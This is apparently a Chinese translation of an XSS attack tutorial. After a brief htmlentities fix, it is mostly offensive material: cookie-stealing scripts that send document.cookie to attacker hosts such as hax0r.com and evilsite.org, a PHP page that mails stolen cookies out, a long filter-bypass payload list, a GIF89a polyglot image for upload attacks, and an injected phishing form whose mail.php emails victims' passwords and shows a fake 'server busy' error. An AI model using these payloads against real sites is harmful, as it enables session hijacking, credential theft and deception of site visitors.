| 关键词: nbsp XSS 代码 漏洞 一个 文件 cookie 译注 函数 如图 |
1.何为跨站(XSS)? XSS又叫CSS(Cross Site Script) ,跨站脚本攻击(译注:因为Cross Site Script的缩写是CSS,但CSS在网页设计领域中已经被广泛地层叠样式表,所以将Cross改为以发音相近的X作为缩写,但早期的文件还是会使用CSS来表示跨站脚本)。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。攻击者得到更高的权限后,可以利用存在漏洞的ActiveX控件,欺骗受害者浏览恶意站点来悄悄地在对方的的电脑上安装恶意软件(如间谍软件,远程控制软件,蠕虫等),也可以窃取机密的网页内容,会话的cookie以及许多其它信息。 1.存在XSS的代码 打开记事本,复制并粘贴以下脚本代码: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <style type="text/css"><!--body,td,th { color: #FFFFFF;}body { background-color: #000000;}--></style><title>Simple XSS vulnerability by Xylitol</title><body><form action="XSS.php" method="post"><p align="center"><strong>Simple XSS vulnerability by Xylitol </strong></p><div align="center"> <table width="270" border="0"> <tr> <td width="106"><strong>Search:</strong></td> <td width="154"><input name="Vulnerability" type="text" id="Vulnerability" /></td> </tr> </table> <table width="268" border="0"> <tr> <td width="262"><div align="center"> <input name="submit" type="submit" value=" Search it ! " /> </div></td> </tr> </table> </div></form></body></html> 然后保存为index.html,效果图如图1(译注:原文中无图片): 图1 重新打开记事本,并复制/粘贴以下代码: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /><title>Search result:</title><style type="text/css"><!--body,td,th { color: #FFFFFF;}body { background-color: #000000;}--></style></head><body><span class="alerte">Search result :</span> <strong><?php echo $_POST['Vulnerability']; ?></strong> </body></html> 保存为xss.php,关闭记事本。用浏览器打开index.html,输入<script>alert('XSS')</script>并点”search it”按钮,就会出现一个提示窗口,如图2: 图2 XSS漏洞就在这里! 1.Cookie劫持 在一个存XSS漏洞的页面中输入下列代码: <script>window.open("http://www.Hax0r.com/cookie.php?cookies="+document.cookie);</script> ( www.Hax0r.comj 是你自己的站点)打开记事本,并保存为cookie.php。 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /><title>Error</title><style type="text/css"><!--body,td,th { color: #FFFFFF;}body { background-color: #000000;}--></style></head><? mail('[email protected]', 'Cookie stealed ! - thx xyli :)', $cookies); ?> <body><h2><strong>Error</strong> - <strong>Access denied</strong> for <? echo $_SERVER["REMOTE_ADDR"]; ?></h2></body></html> 这对于窃取资料来不够,需要等待将窃取的cookie内容以电子邮件的形式发送给我们。 1.XSS防御 修补漏洞: 可以使用htmlentities函数来修补XSS漏洞,代码如下: <body><span class="alerte">Search result :</span> <strong> <?php echo $_POST['Vulnerability']; ?> </strong> </body>By:<body><span class="alerte">Search result :</span> <strong> <?phpif(isset($_POST['Vulnerability'])) { echo htmlentities($_POST['Vulnerability']); } ?> </strong> </body> 使用PHP中的htmlspecialchars函数 ;) 其它函数: Htmlentities() qutos strip_tags()... 5.攻击方式 利用XSS进行攻击是一件相当简单的事情,这里主要讲几种攻击方式…… 图片攻击:<IMG SRC="/uploadfile/tech/uploadfile/201209/20120911050028360.webp"> 或者视频flash:<EMBED SRC= http://hax0r.com/Haxored.swf 还有网站重定向:<script>window.open( "http://www.hax0r.com/Haxored.html" )</script> 也可以:<meta http-equiv="refresh" content="0; url=http://hax0r.com/Haxored.html" /> 1. 1.绕过字符过滤 实际上要想绕过htmlspecialchars()函数并不是那么容易,这里举几个绕过字符过滤的XSS: <META HTTP-EQUIV=\"refresh\" CONTENT=\"0;URL=http://;URL=javascript:alert('XSS');\"> <META HTTP-EQUIV=\"refresh\"CONTENT=\"0;url=javascript:alert('XSS');\"> '">><marquee><h1>XSS</h1></marquee> '">><script>alert('XSS')</script> '>><marquee><h1>XSS</h1></marquee> "><script alert(String.fromCharCode(88,83,83))</script> <iframe<?php echo chr(11)?> onload=alert('XSS')></iframe> <divstyle="x:expression((window.r==1)?'':eval('r=1;alert(String.fromCharCode(88,83,83));'))"> window.alert("Xyli !"); "/></a></><img src=1.webp onerror=alert(1)> [color=red' onmouseover="alert('xss')"]mouse over[/color] <body onLoad="alert('XSS');" <body onunload="javascript:alert('XSS');"> [url=javascript:alert('XSS');]click me[/url] <script language="JavaScript">alert('XSS')</script> <img src="javascript:alert('XSS')"> '); alert('XSS <font style='color:expression(alert(document.cookie))'> <IMG DYNSRC=\"javascript:alert('XSS')\"> <IMG LOWSRC=\"javascript:alert('XSS')\"> </textarea><script>alert(/xss/)</script> </title><script>alert(/xss/)</script> <script src=http://yoursite.com/your_files.js></script> "><script>alert(0)</script> <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> <IMG SRC=\"jav
ascript:alert('XSS');\"> <IMG SRC=\"jav
ascript:alert('XSS');\"> <IMG SRC=\"jav	ascript:alert('XSS');\"> <marquee><script>alert('XSS')</script></marquee> <? echo('<scr)';echo('ipt>alert(\"XSS\")</script>'); ?> <IMG SRC=\"jav
ascript:alert('XSS');\"> <IMG SRC=\"jav	ascript:alert('XSS');\"> <marquee><script>alert('XSS')</script></marquee> <style>@im\port'\ja\vasc\ript:alert(\"XSS\")';</style> <img src=foo.webp onerror=alert(/xssed/) /> <script>alert(String.fromCharCode(88,83,83))</script> <scr<script>ipt>alert('XSS');</scr</script>ipt> <script>location.href="http://www.evilsite.org/cookiegrabber.php?cookie="+escape(document.cookie)</script> <script src="http://www.evilsite.org/cookiegrabber.php"></script> <script>alert('XSS');</script> <script>alert(1);</script> 若想获得更多的资料可以使用google.搜索(译注:在国外著名站点: www.xssing.com 上面也有很多跨站语句,值得借鉴)。 1. 1.Flash攻击 Flash是主要用于复杂的动画,模拟和游戏开发等……能让我们感兴趣的是getURL()的功能,这个函数可以使我们重定向到另一页面,它的创建语法如下: getURL(url:String, [window: String,[method:String]]) 例如: getURL("http://victime.com/login.php?logout=true","_self"); url参数:url用来获得文档的统一定位资源 windows参数:设置所要访问链接的网页窗口打开方式(_self, _blank…)。 Variable参数:规定参数的传输方式(get或者post)。 这里运行javascript脚本来弹出警告: getURL("javascript:alert('XSS'"); 在2002年的时候被暴出了该函数的一个危险漏洞,可以使用下列方式来获取网站访问者的cookie: getURL("javascript:alert(document.cookie)") 在2005年12月,似乎存在一个新的选择,这主要受益于一个永久性的XSS漏洞,这允许在flash文件的签名(signature)中使用XSS参数。此外,作者使用这种技术是为了防御在MySpace中传播的“Samy ”XSS蠕虫:Samy可以重载隐藏在flash中的cookie窃取器吗?不,但有其它技术可以实现。 例如: flash文件: GetURL("http://www.victime.com/page.php?var=<script src='http://www.hax0r.com/Haxored.js'></script>","_self"); Haxored.js: document.location="http://hax0r.com/cookiestealer.php?cookie="+document.cookie; 简单的防御措施:不要从网站上下载flash文件。 1. 1.XSS上传文件 在画板里创建一个Haxored.gif图像作为例子,然后用记事本打开它,删除所有内容并插入下面的内容: GIF89a<script>alert("XSS")</script> 保存并关闭它。 然后把图像上传到一个网站上,再查看你的图像,XSS就产生了……不要打开Mozillia Firefox来浏览图片,因为Mozillia Firefox不能运行警告框,可以使用Internet explorer。 为什么在前面添加GIF89a呢? 上传一些像这样的文件,会在各个.gif文件中检查是否包含'GIF89a'代码,这个漏洞导致可以上传经'GIF89a'代码确认,且包含恶意代码的图片。 GIF89a<script src="http://hax0r.com/cookiegrabber.php"></script> 可以试着去了解一下其它图像文件格式的确认代码,使用一个文件编辑器就可以打开.jpg及其它格式的图片,例如一个png格式的文件:‰PNG PNG = ‰PNGGIF = GIF89aJPG = ÿØÿà ?JFIFBMP = BMFÖ 对于这种漏洞不能单纯地使用getimagesize()进行检测。 1. 1.跨站钓鱼 你是否已经理解了钓鱼(phishing)与XSS的概念呢(译注:钓鱼fishing中的f与ph的发音相似,因此使用phishing来代替fishing)? 在我们的例子里将需要找一个存在XSS漏洞的站点进跨站,并在一个form表单里注入一个URL重定向的代码: <p>Enter your login and password, thank:</p><form action="http://hax0r.com/mail.php"><table><tr><td>Login:</td><td><input type=text length=20 name=login></td></tr><tr><td>Password:</td><td><input type=text length=20 name=password></td></tr></table><input type=submit value= OK ></form> 效果如图3所示: 图3 我想你已经猜到这个脚本将冒充一个form表单来发送用户名及密码给代你,下面的php文件是就是用来发送email的(mail.php): <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /><title>Error</title><style type="text/css"><!--body,td,th { color: #FFFFFF;}body { background-color: #000000;}--></style></head><?php$login = $HTTP_GET_VARS["login"];$password = $HTTP_GET_VARS["password"];mail("[email protected]", "Cookie stealed ! - thx xyli :)", $password , $login );?> <body><h2><strong>Error</strong> -<strong> Server too much busy</strong></h2></body></html> 用户将会相信网页等待与超载是正常的,而不会有所怀疑,相信你已经理解了这一原理。 |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|